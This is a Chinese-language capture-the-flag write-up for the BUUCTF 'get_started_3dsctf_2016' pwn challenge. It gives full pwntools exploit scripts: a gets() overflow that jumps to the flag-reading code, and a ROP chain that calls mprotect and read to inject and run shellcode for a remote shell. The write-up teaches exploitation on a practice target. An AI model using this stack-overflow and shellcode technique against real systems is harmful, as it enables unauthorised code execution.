[BUUCTF]PWN11——get_started_3dsctf_2016

[BUUCTF]PWN11——get_started_3dsctf_2016

题目网址：https://buuoj.cn/challenges#get_started_3dsctf_2016

步骤：

第一个方法，本地打通，要自己创建一个flag.txt

例行检查，32位，开启了nx保护

nc一下，看看程序大概的执行情况

32位ida载入，shift+f12查看程序里的字符串，看到了flag.txt

双击跟进，ctrl+x查看哪个函数调用了它，发现了一个函数，当a1=0x308cd64f，a2=0x195719d1的时候就会读出flag

看一下a1和a2在栈上的参数位置，它的位置在返回地址之后，没法利用溢出覆盖来控制程序

这边我们要想办法绕过这个if判断，tap+空格来到这个界面，看到从0x80489bb开始，程序开始设置打开flag.txt的参数，我们只要将程序执行流跳转到这里就可以读出flag

根据nc时候看到的字符串，找到输入点，gets函数，存在溢出漏洞，用来溢出覆盖返回地址

exp:

from pwn import*

p=process('./get_started_3dsctf_2016')
payload='a'*0x38+p32(0x80489bb)
p.sendline(payload)
p.interactive()

第二个方法可以打通远程，这也应该是这道题的准确做法

一开始是想用printf泄露libc的，但是调试exp的时候老是报错，一开始是以为python里的输出是print，改了之后还是不行，就放弃了

在查看了其他师傅的wp之后发现这题的关键所在是程序里有一个mprotect函数，它的作用是能够修改内存的权限为可读可写可执行，然后我们就可以往栈上写入shellcode，执行即可获取shell

首先按先说一下mprotect函数:原型如下

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

首先造成溢出，让程序跳转到mprotect函数地址，去执行

payload = 'A' * 0x38 + p32(mprotect_addr)

现在需要设置mprotect函数的三个参数，本来32位程序传参是不需要借用寄存器的，但是为了能够继续控制程序，需要用到ret指令，所以这里就借用指令片段了

ctrl+s调出程序的段表，将0x80EB000地址开始修改为可读可写可执行

肯定有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80，因为指定的内存区间必须包含整个内存页（4K），起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。
改bss段的话效果如图，可以看到没有成功修改内存权限，因为起始地址不对，所以这边起始地址是0x80EB000

使用以下指令可以找到我们需要的ret指令，我们mprotect函数只要设置3个参数，这边就借用3个寄存器

 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

然后来设置mprotect的参数，将返回地址填上read函数，我们接下来要将shellcode读入程序段，需要继续控制程序

payload += p32(pop3_ret) 

payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)

read函数原型

ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容    设为0
buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000
size 适当大小就可以               只要够读入shellcode就可以，设置大点无所谓

可以看到read函数也有三个参数要设置，我们就可以继续借用上面找到的有3个寄存器的ret指令

payload += p32(pop3_ret)  

payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

payload += p32(mem_addr)#将read函数的返回地址设置到我们修改的内存的地址，之后我们要往里面写入shellcode

到这里我们已经完成了修改内存为可读可写可执行，将程序重定向到了我们修改好后的内存地址，接下来我们只要传入shellcode即可

r.sendline(asm(shellcraft.sh()))#shellcode可以利用pwntools直接生成
                             #shellcode=asm（shellcraft.sh()）

完整EXP

from pwn import *

elf = ELF('./get_started_3dsctf_2016')

r=remote('node3.buuoj.cn', 29905)

pop3_ret = 0x804951D

mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7       

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 


payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)

payload += p32(pop3_ret)  


payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

payload += p32(mem_addr)   

r.sendline(payload)

payload = asm(shellcraft.sh()) 

r.sendline(payload)

r.interactive()

这题的主要方法就是利用ret持续控制程序